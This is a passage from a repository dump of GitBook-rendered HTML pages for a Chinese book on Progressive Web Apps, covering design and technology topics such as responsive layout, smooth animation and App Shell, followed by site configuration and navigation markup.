&#x653E;&#x5728;&#x9875;&#x9762;&#x5E95;&#x90E8;&#x7B49;&#x6280;&#x672F;&#x624B;&#x6BB5;&#xFF0C;&#x8FD9;&#x4E9B;&#x65B9;&#x6CD5;&#x786E;&#x5B9E;&#x5353;&#x6709;&#x6210;&#x6548;&#xFF0C;&#x4F46;&#x662F;&#x6709;&#x6CA1;&#x6709;&#x66F4;&#x597D;&#x7684;&#x65B9;&#x6CD5;&#x5462;&#xFF1F;</p>\n<p>&#x5728;&#x8FD9;&#x91CC;&#x5C31;&#x8981;&#x8BB2;&#x5230;&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;&#x76F8;&#x8F85;&#x76F8;&#x6210;&#x7684;&#x4E00;&#x79CD; Web &#x7684;&#x8BBE;&#x8BA1;&#xFF0C;&#x90A3;&#x5C31;&#x662F; App Shell&#xFF0C;&#x4EE5;&#x53CA;&#x548C; App Shell &#x914D;&#x5957;&#x4F7F;&#x7528;&#x7684;&#x9AA8;&#x67B6;&#x5C4F;&#xFF08;App Skeleton&#xFF09;&#xFF0C;&#x672C;&#x7AE0;&#x540E;&#x7EED;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h2 id=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" class=\"plugin-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</h2>\n<p>&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x79CD;&#x7C7B;&#x8D8A;&#x6765;&#x8D8A;&#x591A;&#xFF0C;&#x5C4F;&#x5E55;&#x5927;&#x5C0F;&#x4E0D;&#x4E00;&#xFF0C;&#x6709;&#x5C0F;&#x5230;&#x9AD8;&#x5BBD;&#x4E0D;&#x8DB3; 40\b &#x6BEB;&#x7C73;&#x7684;\b&#x667A;&#x80FD;&#x624B;&#x8868;&#xFF0C;&#x4E5F;&#x6709;&#x9AD8;&#x5EA6;&#x63A5;&#x8FD1; 300 &#x6BEB;&#x7C73;&#x7684; iPad&#x3002;&#x5C3D;&#x7BA1;&#x5982;&#x6B64;&#xFF0C;&#x5927;&#x90E8;&#x5206;&#x7684; Web &#x7AD9;&#x70B9;&#x90FD;&#x6CA1;&#x6709;&#x5BF9;&#x5C3A;&#x5BF8;&#x4E0D;&#x4E00;&#x7684;&#x8BBE;&#x5907;&#x505A;&#x8FC7;&#x9002;&#x914D;&#xFF0C;&#x5BFC;&#x81F4;&#x5728;&#x79FB;&#x52A8;&#x7AEF;&#x4F53;&#x9A8C;&#x5F88;&#x5DEE;&#xFF0C;&#x8FD9;&#x65F6;&#x5C31;&#x51F8;&#x663E;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x7684;&#x91CD;&#x8981;&#x6027;&#x3002;</p>\n<p>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x7EAF;&#x6280;&#x672F;&#x7684;&#x95EE;&#x9898;&#xFF0C;\b&#x5728;&#x8BBE;&#x8BA1;&#x4E4B;&#x521D;&#x5C31;\b&#x9700;&#x8981;&#x8BBE;&#x8BA1;&#x5E08;&#x8003;&#x8651;&#x4F17;&#x591A;&#x95EE;&#x9898;&#xFF0C;&#x4F8B;&#x5982;&#x5728;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x7684;&#x8BBE;&#x5907;&#x4E0A;&#xFF0C;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x8BBE;&#x7F6E;&#x591A;&#x5C11;&#xFF0C;&#x9875;&#x9762;&#x5982;&#x4F55;&#x5E03;&#x5C40;&#xFF0C;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x653E;&#x5728;&#x54EA;&#x91CC;&#xFF0C;&#x53E0;&#x8D77;&#x6765;&#x7684;&#x5185;&#x5BB9;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x6237;&#x66F4;&#x65B9;&#x4FBF;&#x7684;&#x627E;&#x5230;&#xFF0C;&#x5C0F;&#x5C3A;&#x5BF8;&#x5C4F;&#x5E55;&#x5982;&#x4F55;&#x5C55;&#x73B0;&#x5217;&#x6570;&#x8F83;&#x591A;&#x7684;&#x8868;&#x683C;&#xFF0C;&#x7B49;&#x7B49;&#x3002;</p>\n<p>&#x800C;&#x5F00;&#x53D1;&#x8005;&#x9700;&#x8981;&#x8003;&#x8651;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x6839;&#x636E;\b&#x5C4F;&#x5E55;&#x5C3A;&#x5BF8;&#x5927;&#x5C0F;&#x52A8;&#x6001;&#x8C03;&#x6574;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x6216;&#x8005;&#x5E03;&#x5C40;&#xFF0C;&#x5176;&#x4E2D;&#x6D89;&#x53CA;&#x5230;&#x7684;&#x77E5;&#x8BC6;&#x70B9;\b&#x5F88;&#x591A;&#xFF0C;&#x5728;&#x672C;&#x7AE0;&#x540E;&#x7EED;&#x5C0F;&#x8282;&#x4E2D;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h2 id=\"&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\"><a name=\"&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\" class=\"plugin-anchor\" href=\"#&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;</h2>\n<p>&#x52A8;&#x753B;&#x662F;&#x4F53;&#x9A8C;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x90E8;&#x5206;&#xFF0C;&#x7AD9;&#x70B9;&#x5C55;&#x73B0;&#x901F;&#x5EA6;&#x518D;&#x5FEB;&#xFF0C;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x4EA4;&#x4E92;&#x52A8;&#x753B;&#xFF0C;&#x4E5F;&#x4F1A;&#x663E;&#x5F97;&#x6CA1;&#x6709;&#x751F;&#x6C14;&#xFF0C;&#x5B83;&#x8D4B;&#x4E88;&#x4E86;&#x7AD9;&#x70B9;&#x201C;&#x751F;&#x547D;&#x201D;&#x3002;&#x4F46;&#x662F;&#x5982;&#x679C;&#x52A8;&#x753B;&#x6389;&#x5E27;&#xFF0C;&#x9020;&#x6210;&#x5361;&#x987F;&#xFF0C;&#x53CD;&#x800C;&#x4F1A;&#x8BA9;&#x7528;&#x6237;&#x89C9;&#x5F97;&#x7AD9;&#x70B9;&#x4F53;&#x9A8C;&#x5F88;&#x5DEE;&#xFF0C;&#x6240;&#x4EE5;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x7684;&#x662F;&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;&#x3002;</p>\n<p>&#x52A8;&#x753B;&#x7684;&#x8BBE;&#x8BA1;&#x6CA1;&#x6709;&#x60F3;&#x8C61;&#x4E2D;&#x7684;&#x7B80;&#x5355;&#xFF0C;&#x8FC7;&#x591A;&#x7684;&#x52A8;&#x753B;&#x548C;&#x6CA1;&#x6709;&#x52A8;&#x753B;&#x4F53;&#x9A8C;&#x540C;&#x6837;&#x7CDF;&#x7CD5;&#xFF0C;&#x52A8;&#x753B;&#x8FC7;&#x591A;&#x4F1A;&#x8BA9;&#x7528;&#x6237;&#x89C9;&#x5F97;&#x70E6;&#x8E81;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x8BBE;&#x8BA1;&#x5E08;&#x5728;&#x521D;&#x671F;&#x8003;&#x8651;&#x5230;&#x53C2;&#x4E0E;&#x52A8;&#x753B;&#x7684;&#x5143;&#x7D20;&#x3001;&#x52A8;&#x753B;&#x7684;&#x7C7B;&#x578B;&#x3001;&#x52A8;&#x753B;&#x7684;&#x6301;&#x7EED;&#x65F6;&#x95F4;&#x7B49;&#xFF0C;&#x800C;\b&#x5F00;&#x53D1;&#x8005;&#x9700;&#x8981;&#x8003;&#x8651;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;&#x3002;&#x5728;&#x672C;&#x7AE0;&#x540E;&#x7EED;&#x5C0F;&#x8282;&#x4E2D;&#x540C;&#x6837;&#x4F1A;&#x5C55;&#x5F00;&#x4ECB;&#x7ECD;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-what-is-good-ux.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2.1 什么是好的用户体验\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-app-shell.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2.3 App Shell\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2.2 设计与技术\",\"level\":\"1.3.2\",\"depth\":2,\"next\":{\"title\":\"2.3 App Shell\",\"level\":\"1.3.3\",\"depth\":2,\"path\":\"chapter02/3-app-shell.md\",\"ref\":\"chapter02/3-app-shell.md\",\"articles\":[]},\"previous\":{\"title\":\"2.1 什么是好的用户体验\",\"level\":\"1.3.1\",\"depth\":2,\"path\":\"chapter02/1-what-is-good-ux.md\",\"ref\":\"chapter02/1-what-is-good-ux.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02/2-design-and-tech.md\",\"mtime\":\"2019-06-19T10:37:41.998Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02/3-app-shell.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2.3 App Shell · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-app-skeleton.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-design-and-tech.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"1-what-is-good-ux.html\">\n            \n                <a href=\"1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"2-design-and-tech.html\">\n            \n                <a href=\"2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.3.3\" data-path=\"3-app-shell.html\">\n            \n                <a href=\"3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"4-app-skeleton.html\">\n            \n                <a href=\"4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"5-responsive-design.html\">\n            \n                <a href=\"5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a 